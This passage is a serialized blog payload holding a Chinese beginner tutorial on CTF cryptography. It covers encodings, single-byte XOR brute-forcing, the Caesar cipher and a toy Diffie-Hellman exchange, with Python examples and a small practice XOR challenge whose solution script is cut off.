7},[48,2652,567],{},[48,2654,2655],{"class":50,"line":114},[48,2656,572],{},[48,2658,2659],{"class":50,"line":120},[48,2660,577],{},[48,2662,2663],{"class":50,"line":126},[48,2664,582],{},[48,2666,2667],{"class":50,"line":132},[48,2668,587],{},[48,2670,2671],{"class":50,"line":137},[48,2672,592],{},[15,2674,2675,598,2677,602],{},[19,2676,597],{},[19,2678,601],{},[10,2680,606],{"id":605},[15,2682,2683,611],{},[27,2684,252],{},[15,2686,2687,616],{},[27,2688,258],{},[39,2690,2691],{"className":383,"code":619,"language":385,"meta":44,"style":44},[19,2692,2693,2697,2701,2705,2709,2713,2717,2721,2725,2729,2733,2737,2741,2745],{"__ignoreMap":44},[48,2694,2695],{"class":50,"line":51},[48,2696,392],{},[48,2698,2699],{"class":50,"line":68},[48,2700,111],{"emptyLinePlaceholder":110},[48,2702,2703],{"class":50,"line":107},[48,2704,483],{},[48,2706,2707],{"class":50,"line":114},[48,2708,401],{},[48,2710,2711],{"class":50,"line":120},[48,2712,111],{"emptyLinePlaceholder":110},[48,2714,2715],{"class":50,"line":126},[48,2716,646],{},[48,2718,2719],{"class":50,"line":132},[48,2720,651],{},[48,2722,2723],{"class":50,"line":137},[48,2724,656],{},[48,2726,2727],{"class":50,"line":143},[48,2728,661],{},[48,2730,2731],{"class":50,"line":149},[48,2732,587],{},[48,2734,2735],{"class":50,"line":155},[48,2736,670],{},[48,2738,2739],{"class":50,"line":160},[48,2740,675],{},[48,2742,2743],{"class":50,"line":165},[48,2744,680],{},[48,2746,2747],{"class":50,"line":171},[48,2748,685],{},[15,2750,688],{},[39,2752,2754],{"className":2753,"code":692,"language":287,"meta":44},[285],[19,2755,692],{"__ignoreMap":44},[15,2757,697,2758,701,2760,705],{},[19,2759,700],{},[19,2761,704],{},[10,2763,709],{"id":708},[294,2765,2766,2776],{},[297,2767,2768],{},[300,2769,2770,2772,2774],{},[303,2771,718],{},[303,2773,721],{},[303,2775,724],{},[313,2777,2778,2796,2806],{},[300,2779,2780,2782,2794],{},[318,2781,731],{},[318,2783,2784,737,2786,740,2788,744,2790,747,2792,751],{},[19,2785,736],{},[19,2787,379],{},[19,2789,743],{},[19,2791,597],{},[19,2793,750],{},[318,2795,754],{},[300,2797,2798,2800,2802],{},[318,2799,759],{},[318,2801,762],{},[318,2803,2804],{},[19,2805,767],{},[300,2807,2808,2810,2812],{},[318,2809,772],{},[318,2811,775],{},[318,2813,2814,530,2816,530,2818],{},[19,2815,780],{},[19,2817,783],{},[19,2819,786],{},[10,2821,790],{"id":789},[15,2823,793,2824,797,2826,30],{},[19,2825,796],{},[19,2827,366],{},[15,2829,802],{},[39,2831,2832],{"className":41,"code":805,"language":43,"meta":44,"style":44},[19,2833,2834],{"__ignoreMap":44},[48,2835,2836,2838],{"class":50,"line":51},[48,2837,812],{"class":54},[48,2839,815],{"class":58},[15,2841,818,2842,822,2844,826],{},[19,2843,821],{},[19,2845,825],{},[15,2847,2848,831],{},[27,2849,252],{},[15,2851,2852,837],{},[27,2853,836],{},[39,2855,2856],{"className":383,"code":840,"language":385,"meta":44,"style":44},[19,2857,2858,2862,2866,2870,2874,2878,2882,2886,2890,2894,2898,2902],{"__ignoreMap":44},[48,2859,2860],{"class":50,"line":51},[48,2861,392],{},[48,2863,2864],{"class":50,"line":68},[48,2865,111],{"emptyLinePlaceholder":110},[48,2867,2868],{"class":50,"line":107},[48,2869,483],{},[48,2871,2872],{"class":50,"line":114},[48,2873,537],{},[48,2875,2876],{"class":50,"line":120},[48,2877,863],{},[48,2879,2880],{"class":50,"line":126},[48,2881,868],{},[48,2883,2884],{"class":50,"line":132},[48,2885,111],{"emptyLinePlaceholder":110},[48,2887,2888],{"class":50,"line":137},[48,2889,661],{},[48,2891,2892],{"class":50,"line":143},[48,2893,587],{},[48,2895,2896],{"class":50,"line":149},[48,2897,885],{},[48,2899,2900],{"class":50,"line":155},[48,2901,890],{},[48,2903,2904],{"class":50,"line":160},[48,2905,675],{},[15,2907,281],{},[39,2909,2911],{"className":2910,"code":900,"language":287,"meta":44},[285],[19,2912,900],{"__ignoreMap":44},[10,2914,906],{"id":905},[15,2916,909,2917,912,2919,915,2921,918],{},[19,2918,759],{},[19,2920,379],{},[19,2922,597],{},[920,2924,922],{},{"title":44,"searchDepth":68,"depth":68,"links":2926},[2927,2928,2929,2930,2931,2932,2933,2934,2935,2936],{"id":12,"depth":107,"text":13},{"id":33,"depth":107,"text":34},{"id":79,"depth":107,"text":80},{"id":246,"depth":107,"text":247},{"id":360,"depth":107,"text":361},{"id":459,"depth":107,"text":460},{"id":605,"depth":107,"text":606},{"id":708,"depth":107,"text":709},{"id":789,"depth":107,"text":790},{"id":905,"depth":107,"text":906},{"date":938,"image":939,"alt":940,"tags":2938,"published":110},[942,272,943],{"title":5,"description":935},{"id":2941,"title":2942,"body":2943,"description":3937,"extension":936,"meta":3938,"navigation":110,"ogImage":3939,"path":3943,"seo":3944,"stem":3945,"__hash__":3946},"content/blogs/12. ctf-crypto-overview.md","CTF 密码学入门：编码、XOR 与 DH 密钥协商",{"type":7,"value":2944,"toc":3927},[2945,2949,2952,3020,3023,3109,3112,3118,3121,3145,3147,3153,3155,3175,3185,3189,3200,3204,3209,3253,3255,3261,3265,3270,3283,3357,3359,3365,3371,3375,3381,3412,3416,3419,3483,3485,3491,3495,3499,3502,3506,3511,3516,3557,3561,3688,3690,3696,3706,3708,3712,3715,3753,3757,3786,3790,3793,3822,3824,3830,3834,3837,3842,3845,3853,3912,3914,3919,3921,3924],[10,2946,2948],{"id":2947},"一现实背景编码每天都在用","一、现实背景：编码每天都在用",[15,2950,2951],{},"编码（Encoding）不依赖密钥，任何掌握规则的人都能还原；加密（Encryption）依赖密钥。日常网络中的编码：",[294,2953,2954,2967],{},[297,2955,2956],{},[300,2957,2958,2961,2964],{},[303,2959,2960],{},"编码",[303,2962,2963],{},"现实应用",[303,2965,2966],{},"例子",[313,2968,2969,2986,3005],{},[300,2970,2971,2974,2977],{},[318,2972,2973],{},"Base64",[318,2975,2976],{},"邮件附件（MIME）、JWT 令牌、Data URI",[318,2978,2979,2982,2983],{},[19,2980,2981],{},"ZmxhZw=="," → ",[19,2984,2985],{},"flag",[300,2987,2988,2991,2998],{},[318,2989,2990],{},"Hex",[318,2992,2993,2994,2997],{},"颜色值 ",[19,2995,2996],{},"#FF0000","、MAC 地址、哈希摘要",[318,2999,3000,2982,3003],{},[19,3001,3002],{},"666c6167",[19,3004,2985],{},[300,3006,3007,3010,3013],{},[318,3008,3009],{},"URL 编码",[318,3011,3012],{},"浏览器地址栏中的中文与特殊字符",[318,3014,3015,2982,3018],{},[19,3016,3017],{},"%66%6c%61%67",[19,3019,2985],{},[15,3021,3022],{},"先运行最小的解码例子：",[39,3024,3026],{"className":383,"code":3025,"language":385,"meta":44,"style":44},"import base64\n# base64 模块：标准库，提供 base64 编码解码函数。\n\nprint(base64.b64encode(b\"flag\"))\n# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n# 返回值是编码结果 bytes：b'ZmxhZw=='。\n\nprint(base64.b64decode(\"ZmxhZw==\"))\n# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n\nprint(bytes.fromhex(\"666c6167\"))\n# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n\nprint(b\"flag\".hex())\n# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[19,3027,3028,3033,3038,3042,3047,3052,3057,3061,3066,3071,3076,3080,3085,3090,3095,3099,3104],{"__ignoreMap":44},[48,3029,3030],{"class":50,"line":51},[48,3031,3032],{},"import base64\n",[48,3034,3035],{"class":50,"line":68},[48,3036,3037],{},"# base64 模块：标准库，提供 base64 编码解码函数。\n",[48,3039,3040],{"class":50,"line":107},[48,3041,111],{"emptyLinePlaceholder":110},[48,3043,3044],{"class":50,"line":114},[48,3045,3046],{},"print(base64.b64encode(b\"flag\"))\n",[48,3048,3049],{"class":50,"line":120},[48,3050,3051],{},"# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n",[48,3053,3054],{"class":50,"line":126},[48,3055,3056],{},"# 返回值是编码结果 bytes：b'ZmxhZw=='。\n",[48,3058,3059],{"class":50,"line":132},[48,3060,111],{"emptyLinePlaceholder":110},[48,3062,3063],{"class":50,"line":137},[48,3064,3065],{},"print(base64.b64decode(\"ZmxhZw==\"))\n",[48,3067,3068],{"class":50,"line":143},[48,3069,3070],{},"# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n",[48,3072,3073],{"class":50,"line":149},[48,3074,3075],{},"# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n",[48,3077,3078],{"class":50,"line":155},[48,3079,111],{"emptyLinePlaceholder":110},[48,3081,3082],{"class":50,"line":160},[48,3083,3084],{},"print(bytes.fromhex(\"666c6167\"))\n",[48,3086,3087],{"class":50,"line":165},[48,3088,3089],{},"# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n",[48,3091,3092],{"class":50,"line":171},[48,3093,3094],{},"# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n",[48,3096,3097],{"class":50,"line":177},[48,3098,111],{"emptyLinePlaceholder":110},[48,3100,3101],{"class":50,"line":183},[48,3102,3103],{},"print(b\"flag\".hex())\n",[48,3105,3106],{"class":50,"line":189},[48,3107,3108],{},"# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[15,3110,3111],{},"实际输出：",[39,3113,3116],{"className":3114,"code":3115,"language":287,"meta":44},[285],"b'ZmxhZw=='\nb'flag'\nb'flag'\n666c6167\n",[19,3117,3115],{"__ignoreMap":44},[15,3119,3120],{},"URL 编码：",[39,3122,3124],{"className":383,"code":3123,"language":385,"meta":44,"style":44},"from urllib.parse import quote, unquote\n\nprint(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\nprint(unquote(\"%66%6c%61%67\"))          # flag\n",[19,3125,3126,3131,3135,3140],{"__ignoreMap":44},[48,3127,3128],{"class":50,"line":51},[48,3129,3130],{},"from urllib.parse import quote, unquote\n",[48,3132,3133],{"class":50,"line":68},[48,3134,111],{"emptyLinePlaceholder":110},[48,3136,3137],{"class":50,"line":107},[48,3138,3139],{},"print(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\n",[48,3141,3142],{"class":50,"line":114},[48,3143,3144],{},"print(unquote(\"%66%6c%61%67\"))          # flag\n",[15,3146,3111],{},[39,3148,3151],{"className":3149,"code":3150,"language":287,"meta":44},[285],"%E4%BD%A0%E5%A5%BD\nflag\n",[19,3152,3150],{"__ignoreMap":44},[10,3154,34],{"id":33},[39,3156,3158],{"className":41,"code":3157,"language":43,"meta":44,"style":44},"pip3 install pycryptodome sympy gmpy2\n",[19,3159,3160],{"__ignoreMap":44},[48,3161,3162,3164,3166,3169,3172],{"class":50,"line":51},[48,3163,71],{"class":54},[48,3165,59],{"class":58},[48,3167,3168],{"class":58}," pycryptodome",[48,3170,3171],{"class":58}," sympy",[48,3173,3174],{"class":58}," gmpy2\n",[15,3176,3177,3178],{},"浏览器打开 CyberChef（",[3179,3180,3184],"a",{"href":3181,"rel":3182},"https://gchq.github.io/CyberChef%EF%BC%89%E3%80%82",[3183],"nofollow","https://gchq.github.io/CyberChef）。",[10,3186,3188],{"id":3187},"三核心知识-1xor-与单字节爆破","三、核心知识 1：XOR 与单字节爆破",[15,3190,3191,3192,3195,3196,3199],{},"异或的性质：",[19,3193,3194],{},"A ^ B = C","，且 ",[19,3197,3198],{},"C ^ B = A","。同一个密钥异或两次就还原，所以加密和解密是同一个运算。",[462,3201,3203],{"id":3202},"_31-加密","3.1 加密",[15,3205,3206,3208],{},[27,3207,252],{},"：先用已知明文和密钥生成密文，验证\"异或加密\"的写法，同时为后面爆破提供测试对象。",[39,3210,3212],{"className":383,"code":3211,"language":385,"meta":44,"style":44},"plain = b\"flag{xor_is_easy}\"\nkey = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n\ncipher = bytes([b ^ key for b in plain])\n# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\nprint(cipher.hex())\n# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[19,3213,3214,3219,3224,3228,3233,3238,3243,3248],{"__ignoreMap":44},[48,3215,3216],{"class":50,"line":51},[48,3217,3218],{},"plain = b\"flag{xor_is_easy}\"\n",[48,3220,3221],{"class":50,"line":68},[48,3222,3223],{},"key = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n",[48,3225,3226],{"class":50,"line":107},[48,3227,111],{"emptyLinePlaceholder":110},[48,3229,3230],{"class":50,"line":114},[48,3231,3232],{},"cipher = bytes([b ^ key for b in plain])\n",[48,3234,3235],{"class":50,"line":120},[48,3236,3237],{},"# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n",[48,3239,3240],{"class":50,"line":126},[48,3241,3242],{},"# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\n",[48,3244,3245],{"class":50,"line":132},[48,3246,3247],{},"print(cipher.hex())\n",[48,3249,3250],{"class":50,"line":137},[48,3251,3252],{},"# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[15,3254,3111],{},[39,3256,3259],{"className":3257,"code":3258,"language":287,"meta":44},[285],"242e2325393a2d301d2b311d2723313b3f\n",[19,3260,3258],{"__ignoreMap":44},[462,3262,3264],{"id":3263},"_32-爆破密钥只有-256-种可能","3.2 爆破（密钥只有 256 种可能）",[15,3266,3267,3269],{},[27,3268,252],{},"：不知道密钥时，把 256 种可能全部试一遍。",[15,3271,3272,3274,3275,3278,3279,3282],{},[27,3273,258],{},"：如果密钥猜对了，解密结果会是一段正常文本；CTF 里 flag 固定以 ",[19,3276,3277],{},"flag{"," 开头，这就是天然的判据。用 ",[19,3280,3281],{},"b\"flag{\" in plain"," 过滤即可。",[39,3284,3286],{"className":383,"code":3285,"language":385,"meta":44,"style":44},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n\nfor k in range(256):\n    # 枚举 0-255 共 256 个可能的单字节密钥。\n    plain = bytes([b ^ k for b in cipher])\n    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n    # 异或的自反性保证：加密用 key，解密用同一个 key。\n    if b\"flag{\" in plain:\n        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n        print(\"key =\", k)           # 输出密钥数值\n        print(plain.decode())       # 输出解密出的明文\n        break\n        # 找到即停止，避免继续打印无意义结果。\n",[19,3287,3288,3293,3298,3302,3307,3312,3317,3322,3327,3332,3337,3342,3347,3352],{"__ignoreMap":44},[48,3289,3290],{"class":50,"line":51},[48,3291,3292],{},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n",[48,3294,3295],{"class":50,"line":68},[48,3296,3297],{},"# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n",[48,3299,3300],{"class":50,"line":107},[48,3301,111],{"emptyLinePlaceholder":110},[48,3303,3304],{"class":50,"line":114},[48,3305,3306],{},"for k in range(256):\n",[48,3308,3309],{"class":50,"line":120},[48,3310,3311],{},"    # 枚举 0-255 共 256 个可能的单字节密钥。\n",[48,3313,3314],{"class":50,"line":126},[48,3315,3316],{},"    plain = bytes([b ^ k for b in cipher])\n",[48,3318,3319],{"class":50,"line":132},[48,3320,3321],{},"    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n",[48,3323,3324],{"class":50,"line":137},[48,3325,3326],{},"    # 异或的自反性保证：加密用 key，解密用同一个 key。\n",[48,3328,3329],{"class":50,"line":143},[48,3330,3331],{},"    if b\"flag{\" in plain:\n",[48,3333,3334],{"class":50,"line":149},[48,3335,3336],{},"        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n",[48,3338,3339],{"class":50,"line":155},[48,3340,3341],{},"        print(\"key =\", k)           # 输出密钥数值\n",[48,3343,3344],{"class":50,"line":160},[48,3345,3346],{},"        print(plain.decode())       # 输出解密出的明文\n",[48,3348,3349],{"class":50,"line":165},[48,3350,3351],{},"        break\n",[48,3353,3354],{"class":50,"line":171},[48,3355,3356],{},"        # 找到即停止，避免继续打印无意义结果。\n",[15,3358,3111],{},[39,3360,3363],{"className":3361,"code":3362,"language":287,"meta":44},[285],"key = 66\nflag{xor_is_easy}\n",[19,3364,3362],{"__ignoreMap":44},[15,3366,3367,3368,3370],{},"判断依据：明文包含 ",[19,3369,3277],{}," 前缀。CTF 里 flag 都有固定格式，这就是天然的校验。",[462,3372,3374],{"id":3373},"_33-多字节-xor-简介","3.3 多字节 XOR 简介",[15,3376,3377,3378,87],{},"密钥是多个字节循环使用时，先猜密钥长度，再对每个位置分别做单字节分析。工具 ",[19,3379,3380],{},"xortool",[39,3382,3384],{"className":41,"code":3383,"language":43,"meta":44,"style":44},"pip install xortool\nxortool -x -c 20 cipher.bin\n",[19,3385,3386,3396],{"__ignoreMap":44},[48,3387,3388,3391,3393],{"class":50,"line":51},[48,3389,3390],{"class":54},"pip",[48,3392,59],{"class":58},[48,3394,3395],{"class":58}," xortool\n",[48,3397,3398,3400,3403,3406,3409],{"class":50,"line":68},[48,3399,3380],{"class":54},[48,3401,3402],{"class":219}," -x",[48,3404,3405],{"class":219}," -c",[48,3407,3408],{"class":219}," 20",[48,3410,3411],{"class":58}," cipher.bin\n",[10,3413,3415],{"id":3414},"四核心知识-2凯撒密码","四、核心知识 2：凯撒密码",[15,3417,3418],{},"每个字母平移固定位数：",[39,3420,3422],{"className":383,"code":3421,"language":385,"meta":44,"style":44},"def caesar(s, shift):\n    out = \"\"\n    for c in s:\n        if c.isalpha():\n            base = ord('a') if c.islower() else ord('A')\n            out += chr((ord(c) - base + shift) % 26 + base)\n        else:\n            out += c\n    return out\n\nprint(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\nprint(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[19,3423,3424,3429,3434,3439,3444,3449,3454,3459,3464,3469,3473,3478],{"__ignoreMap":44},[48,3425,3426],{"class":50,"line":51},[48,3427,3428],{},"def caesar(s, shift):\n",[48,3430,3431],{"class":50,"line":68},[48,3432,3433],{},"    out = \"\"\n",[48,3435,3436],{"class":50,"line":107},[48,3437,3438],{},"    for c in s:\n",[48,3440,3441],{"class":50,"line":114},[48,3442,3443],{},"        if c.isalpha():\n",[48,3445,3446],{"class":50,"line":120},[48,3447,3448],{},"            base = ord('a') if c.islower() else ord('A')\n",[48,3450,3451],{"class":50,"line":126},[48,3452,3453],{},"            out += chr((ord(c) - base + shift) % 26 + base)\n",[48,3455,3456],{"class":50,"line":132},[48,3457,3458],{},"        else:\n",[48,3460,3461],{"class":50,"line":137},[48,3462,3463],{},"            out += c\n",[48,3465,3466],{"class":50,"line":143},[48,3467,3468],{},"    return out\n",[48,3470,3471],{"class":50,"line":149},[48,3472,111],{"emptyLinePlaceholder":110},[48,3474,3475],{"class":50,"line":155},[48,3476,3477],{},"print(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\n",[48,3479,3480],{"class":50,"line":160},[48,3481,3482],{},"print(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[15,3484,3111],{},[39,3486,3489],{"className":3487,"code":3488,"language":287,"meta":44},[285],"iodj{fdhvdu_lv_ixq}\nflag{caesar_is_fun}\n",[19,3490,3488],{"__ignoreMap":44},[10,3492,3494],{"id":3493},"五核心知识-3dh-密钥协商","五、核心知识 3：DH 密钥协商",[462,3496,3498],{"id":3497},"_51-要解决的问题","5.1 要解决的问题",[15,3500,3501],{},"对称加密要求双方共享同一密钥，但互联网上的双方从未见过面，信道还可能被窃听。DH（Diffie-Hellman）解决\"在公开信道协商共享密钥\"。",[462,3503,3505],{"id":3504},"_52-流程","5.2 流程",[15,3507,3508,3510],{},[27,3509,252],{},"：理解双方如何在\"只看得到公开数值\"的情况下得到同一个秘密。",[15,3512,3513,3515],{},[27,3514,258],{},"：秘密不在信道上传输，而是双方各自用\"自己的私钥 + 对方的公钥\"算出同一个数。窃听者缺少任一个私钥，就算不出来。",[1687,3517,3518,3526,3535,3543],{},[1690,3519,3520,3521,3523,3524,30],{},"双方公开约定大素数 ",[19,3522,15],{}," 与生成元 ",[19,3525,995],{},[1690,3527,3528,3529,3531,3532,30],{},"Alice 选私钥 ",[19,3530,3179],{},"，发送 ",[19,3533,3534],{},"A = g^a mod p",[1690,3536,3537,3538,3531,3540,30],{},"Bob 选私钥 ",[19,3539,1891],{},[19,3541,3542],{},"B = g^b mod p",[1690,3544,3545,3546,3549,3550,3553,3554,30],{},"双方分别计算 ",[19,3547,3548],{},"B^a mod p"," 与 ",[19,3551,3552],{},"A^b mod p","，得到相同值 ",[19,3555,3556],{},"g^(ab) mod p",[462,3558,3560],{"id":3559},"_53-最小实现","5.3 最小实现",[39,3562,3564],{"className":383,"code":3563,"language":385,"meta":44,"style":44},"p, g = 0xffffffffffffffc5, 2\n# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n# g：生成元，双方公开约定。\na, b = 1234567, 7654321\n# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n\nA = pow(g, a, p)\n# pow(g, a, p) = g^a mod p，即快速幂取模。\n# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\nB = pow(g, b, p)\n# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n\ns_alice = pow(B, a, p)\n# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\ns_bob = pow(A, b, p)\n# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n# 两个结果相等，这就是共享密钥。\n\nprint(\"A =\", A)\nprint(\"B =\", B)\nprint(\"Alice 计算:\", s_alice)\nprint(\"Bob 计算:\", s_bob)\nprint(\"一致:\", s_alice == s_bob)\n# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[19,3565,3566,3571,3576,3581,3586,3591,3595,3600,3605,3610,3615,3620,3624,3629,3634,3639,3644,3649,3653,3658,3664,3670,3676,3682],{"__ignoreMap":44},[48,3567,3568],{"class":50,"line":51},[48,3569,3570],{},"p, g = 0xffffffffffffffc5, 2\n",[48,3572,3573],{"class":50,"line":68},[48,3574,3575],{},"# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n",[48,3577,3578],{"class":50,"line":107},[48,3579,3580],{},"# g：生成元，双方公开约定。\n",[48,3582,3583],{"class":50,"line":114},[48,3584,3585],{},"a, b = 1234567, 7654321\n",[48,3587,3588],{"class":50,"line":120},[48,3589,3590],{},"# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n",[48,3592,3593],{"class":50,"line":126},[48,3594,111],{"emptyLinePlaceholder":110},[48,3596,3597],{"class":50,"line":132},[48,3598,3599],{},"A = pow(g, a, p)\n",[48,3601,3602],{"class":50,"line":137},[48,3603,3604],{},"# pow(g, a, p) = g^a mod p，即快速幂取模。\n",[48,3606,3607],{"class":50,"line":143},[48,3608,3609],{},"# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\n",[48,3611,3612],{"class":50,"line":149},[48,3613,3614],{},"B = pow(g, b, p)\n",[48,3616,3617],{"class":50,"line":155},[48,3618,3619],{},"# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n",[48,3621,3622],{"class":50,"line":160},[48,3623,111],{"emptyLinePlaceholder":110},[48,3625,3626],{"class":50,"line":165},[48,3627,3628],{},"s_alice = pow(B, a, p)\n",[48,3630,3631],{"class":50,"line":171},[48,3632,3633],{},"# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\n",[48,3635,3636],{"class":50,"line":177},[48,3637,3638],{},"s_bob = pow(A, b, p)\n",[48,3640,3641],{"class":50,"line":183},[48,3642,3643],{},"# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n",[48,3645,3646],{"class":50,"line":189},[48,3647,3648],{},"# 两个结果相等，这就是共享密钥。\n",[48,3650,3651],{"class":50,"line":195},[48,3652,111],{"emptyLinePlaceholder":110},[48,3654,3655],{"class":50,"line":201},[48,3656,3657],{},"print(\"A =\", A)\n",[48,3659,3661],{"class":50,"line":3660},20,[48,3662,3663],{},"print(\"B =\", B)\n",[48,3665,3667],{"class":50,"line":3666},21,[48,3668,3669],{},"print(\"Alice 计算:\", s_alice)\n",[48,3671,3673],{"class":50,"line":3672},22,[48,3674,3675],{},"print(\"Bob 计算:\", s_bob)\n",[48,3677,3679],{"class":50,"line":3678},23,[48,3680,3681],{},"print(\"一致:\", s_alice == s_bob)\n",[48,3683,3685],{"class":50,"line":3684},24,[48,3686,3687],{},"# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[15,3689,3111],{},[39,3691,3694],{"className":3692,"code":3693,"language":287,"meta":44},[285],"A = 6842530808116395773\nB = 3514199851527377648\nAlice 计算: 17750252846772688935\nBob 计算: 17750252846772688935\n一致: True\n",[19,3695,3693],{"__ignoreMap":44},[15,3697,3698,3699,3702,3703,3705],{},"窃听者只能看到 ",[19,3700,3701],{},"p, g, A, B","，要算出 ",[19,3704,3179],{}," 必须求解离散对数，参数足够大时不可行。HTTPS 的 TLS 协议正是用 DH 协商密钥、用 RSA/ECDSA 证书认证身份。",[10,3707,1934],{"id":1933},[462,3709,3711],{"id":3710},"工具-1cyberchef","工具 1：CyberChef",[15,3713,3714],{},"浏览器工具，三个常用操作：",[294,3716,3717,3727],{},[297,3718,3719],{},[300,3720,3721,3724],{},[303,3722,3723],{},"操作",[303,3725,3726],{},"用法",[313,3728,3729,3737,3745],{},[300,3730,3731,3734],{},[318,3732,3733],{},"From Base64",[318,3735,3736],{},"左侧搜 Base64 拖入，粘贴密文，自动解码",[300,3738,3739,3742],{},[318,3740,3741],{},"From Hex",[318,3743,3744],{},"拖入 From Hex 解码十六进制",[300,3746,3747,3750],{},[318,3748,3749],{},"Magic",[318,3751,3752],{},"直接粘贴未知文本，自动猜测编码方式",[462,3754,3756],{"id":3755},"工具-2python-标准库","工具 2：Python 标准库",[39,3758,3760],{"className":383,"code":3759,"language":385,"meta":44,"style":44},"import base64, binascii\n\nprint(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\nprint(bytes.fromhex(\"666c6167\"))      # b'flag'\nprint(ord('A'))                       # 65，ASCII 编码\n",[19,3761,3762,3767,3771,3776,3781],{"__ignoreMap":44},[48,3763,3764],{"class":50,"line":51},[48,3765,3766],{},"import base64, binascii\n",[48,3768,3769],{"class":50,"line":68},[48,3770,111],{"emptyLinePlaceholder":110},[48,3772,3773],{"class":50,"line":107},[48,3774,3775],{},"print(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\n",[48,3777,3778],{"class":50,"line":114},[48,3779,3780],{},"print(bytes.fromhex(\"666c6167\"))      # b'flag'\n",[48,3782,3783],{"class":50,"line":120},[48,3784,3785],{},"print(ord('A'))                       # 65，ASCII 编码\n",[462,3787,3789],{"id":3788},"工具-3pycryptodome","工具 3：pycryptodome",[15,3791,3792],{},"CTF 密码学最常用的库，三个函数：",[39,3794,3796],{"className":383,"code":3795,"language":385,"meta":44,"style":44},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n\nprint(inverse(3, 7))                    # 5：3 在模 7 下的逆元\nprint(long_to_bytes(0x666c6167))        # b'flag'\nprint(bytes_to_long(b\"flag\"))           # 1718378855\n",[19,3797,3798,3803,3807,3812,3817],{"__ignoreMap":44},[48,3799,3800],{"class":50,"line":51},[48,3801,3802],{},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n",[48,3804,3805],{"class":50,"line":68},[48,3806,111],{"emptyLinePlaceholder":110},[48,3808,3809],{"class":50,"line":107},[48,3810,3811],{},"print(inverse(3, 7))                    # 5：3 在模 7 下的逆元\n",[48,3813,3814],{"class":50,"line":114},[48,3815,3816],{},"print(long_to_bytes(0x666c6167))        # b'flag'\n",[48,3818,3819],{"class":50,"line":120},[48,3820,3821],{},"print(bytes_to_long(b\"flag\"))           # 1718378855\n",[15,3823,3111],{},[39,3825,3828],{"className":3826,"code":3827,"language":287,"meta":44},[285],"5\nb'flag'\n1718378855\n",[19,3829,3827],{"__ignoreMap":44},[10,3831,3833],{"id":3832},"七小-ctf-实战单字节-xor","七、小 CTF 实战：单字节 XOR",[15,3835,3836],{},"题目：给出密文 hex，提示\"密钥是一个字节，明文是 flag\"。",[39,3838,3840],{"className":3839,"code":3258,"language":287,"meta":44},[285],[19,3841,3258],{"__ignoreMap":44},[15,3843,3844],{},"解题脚本：",[15,3846,3847,3849,3850,3852],{},[27,3848,258],{},"：密文是字节串，密钥只可能 0-255；逐个试，用 ",[19,3851,3277],{}," 前缀过滤正确结果。",[39,3854,3856],{"className":383,"code":3855,"language":385,"meta":44,"style":44},"from binascii import unhexlify\n# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n\ncipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n\nfor k in range(256):\n    plain = bytes([b ^ k for b in cipher])\n    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n    if b\"flag{\" in plain:\n        print(\"key =\", k)          # 预期 66\n        print(plain.decode())      # 预期 flag{xor_is_easy}\n        